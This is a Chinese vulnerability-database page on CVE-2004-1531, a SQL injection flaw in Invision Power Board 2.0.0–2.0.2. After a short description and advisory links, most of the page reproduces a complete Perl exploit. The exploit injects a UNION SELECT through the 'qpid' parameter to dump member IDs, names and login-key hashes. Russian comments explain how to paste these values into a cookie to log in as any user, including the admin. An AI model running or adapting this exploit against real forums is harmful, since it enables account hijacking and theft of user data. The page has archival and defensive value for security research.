Invision Power Board远程SQL注入漏洞

Invision Power Board远程SQL注入漏洞

漏洞ID 1108293 漏洞类型 输入验证
发布时间 2004-11-22 更新时间 2005-10-20
图片[1]-Invision Power Board远程SQL注入漏洞-安全小百科CVE编号 CVE-2004-1531
图片[2]-Invision Power Board远程SQL注入漏洞-安全小百科CNNVD-ID CNNVD-200412-365
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/648
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-365
|漏洞详情
InvisionPowerBoard是一款流行的基于WEB的论坛程序。InvisionPowerBoard’index.php’脚本不正确过滤用户提交的URL输入,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得敏感信息或者破坏数据库。’index.php’脚本由于对’$qpid’变量处理不充分,提交恶意SQL命令作为参数,可更改原来的SQL逻辑,可能获得敏感信息或者破坏数据库。
|漏洞EXP
#!/usr/bin/perl
use IO::Socket;

			      #    #        #    #                                                                                                                                                                                                                                                                                                                                    
			      #   #          #   #                                                                                                                                                                                                                                                                                                                                    
			     #    #          #    #                                                                                                                                                                                                                                                                                                                                   
			     #   ##   ####   ##   #                                                                                                                                                                                                                                                                                                                                   
			    ##   ##  ######  ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ##   ##  ######  ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ##   ##   ####   ##   ##                                                                                                                                                                                                                                                                                                                                  
			    ###   ############   ###                                                                                                                                                                                                                                                                                                                                  
			    ########################                                                                                                                                                                                                                                                                                                                                  
			         ##############                                                                                                                                                                                                                                                                                                                                       
			  ######## ########## #######                                                                                                                                                                                                                                                                                                                                 
			 ###   ##  ##########  ##   ###                                                                                                                                                                                                                                                                                                                               
			 ###   ##  ##########  ##   ###                                                                                                                                                                                                                                                                                                                               
			  ###   #  ##########  #   ###                                                                                                                                                                                                                                                                                                                                
			  ###   ##  ########  ##   ###                                                                                                                                                                                                                                                                                                                                
			   ##    #   ######   #    ##                                                                                                                                                                                                                                                                                                                                 
			    ##   #    ####   #    ##                                                                                                                                                                                                                                                                                                                                  
 			     ##                 ##           

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>]    DIR: /IPB202/
## [>]  FORUM: 2
## [>]  TOPIC: 1
## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>]     ID:
## ------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>]    DIR: /IPB202/
## [>]  FORUM: 2
## [>]  TOPIC: 1
## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>]     ID:
## ------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
## помощью которого можно войти на форум под любым юзером без ввода пароля. 
## member_id это также одноименное значение из кукиса.
## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


if (@ARGV < 5)
{
print "-------------------------------------------------------------------------rn";
print "       Invision Power Board v2.0.0 - 2.0.2 sql injection exploitrn";
print "-------------------------------------------------------------------------rn";
print "usage:rn";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]rnrn";
print "SERVER         - server where IPB installedrn";
print "/DIR/          - IPB directory or / for no directoryrn";
print "FORUM_NUM      - number of existing forumrn";
print "TOPIC_NUM      - number of existing topicrn";
print "SID            - your session idrn";
print "[TABLE_PREFIX] - table prefix in databasern";
print "[USER_ID]      - user id for exploitingrnrn"; 
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_rn";
print "-------------------------------------------------------------------------rn";
exit();
}

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir    = $ARGV[1];
$fnum   = $ARGV[2];
$tnum   = $ARGV[3];
$sid    = $ARGV[4];
$prefix = $ARGV[5];
$id     = $ARGV[6];

print "------------------------------------------------------------------------------------------------rn";
print "[>] SERVER: $serverrn";
print "[>]    DIR: $dirrn";
print "[>]  FORUM: $fnumrn";
print "[>]  TOPIC: $tnumrn";
print "[>]    SID: $sidrn";
print "[>] PREFIX: $prefixrn";
print "[>]     ID: $idrn";
print "------------------------------------------------------------------------------------------------rnrn";

$server =~ s/(http://)//eg;

$path  = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1) 
 {
 $path .= "&qpid=r57"
 }
else
 {
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
 }
print "[~] PREPARE TO CONNECT...rn";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTEDrn";
print "[~] SENDING QUERY...rn";
print $socket "GET $path HTTP/1.1rn";
print $socket "Host: $serverrn";                                                                                                                                                          
print $socket "Accept: */*rn";
print $socket "Connection: closernrn";
print "[+] DONE!rnrn";

$suc =0;

if ($get_table == 1)
 {
 while ($answer = <$socket>)
  {
  if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4rn"; $suc = 1; }
  }
 if (!$suc) { print "Exploit failedrn"; }
 exit();
 }

print "--[ REPORT ]------------------------------------------------------------------------------------rn";
while ($answer = <$socket>)
{
 if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]rn"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------rn";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.rn"; exit(); }
else { print "Exploit failedrn"; }



# milw0rm.com [2004-11-22]
|参考资料

来源:SECUNIA
名称:13245
链接:http://secunia.com/advisories/13245
来源:forums.invisionpower.com
链接:http://forums.invisionpower.com/index.php?showtopic=154916
来源:XF
名称:invisionpowerboard-sql-injection(18164)
链接:http://xforce.iss.net/xforce/xfdb/18164
来源:BID
名称:11703
链接:http://www.securityfocus.com/bid/11703
来源:BUGTRAQ
名称:20050427Re:SQL-injectionsinInvisionPowerBoardv2.0.1
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=111462421824202&w;=2
来源:BUGTRAQ
名称:20050425SQL-injectionsinInvisionPowerBoardv2.0.1
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=111454805209191&w;=2
来源:BUGTRAQ
名称:20041118[MaxPatrol]SQL-injectioninInvisionPowerBoard2.x
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110079592702417&w;=2
来源:NSFOCUS
名称:7131
链接:http://www.nsfocus.net/vulndb/7131

相关推荐: GNU UnRTF 0.19.3 – Font Table Conversion Buffer Overflow

GNU UnRTF 0.19.3 – Font Table Conversion Buffer Overflow 漏洞ID 1054800 漏洞类型 发布时间 2004-12-15 更新时间 2004-12-15 CVE编号 N/A CNNVD-ID N/A …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享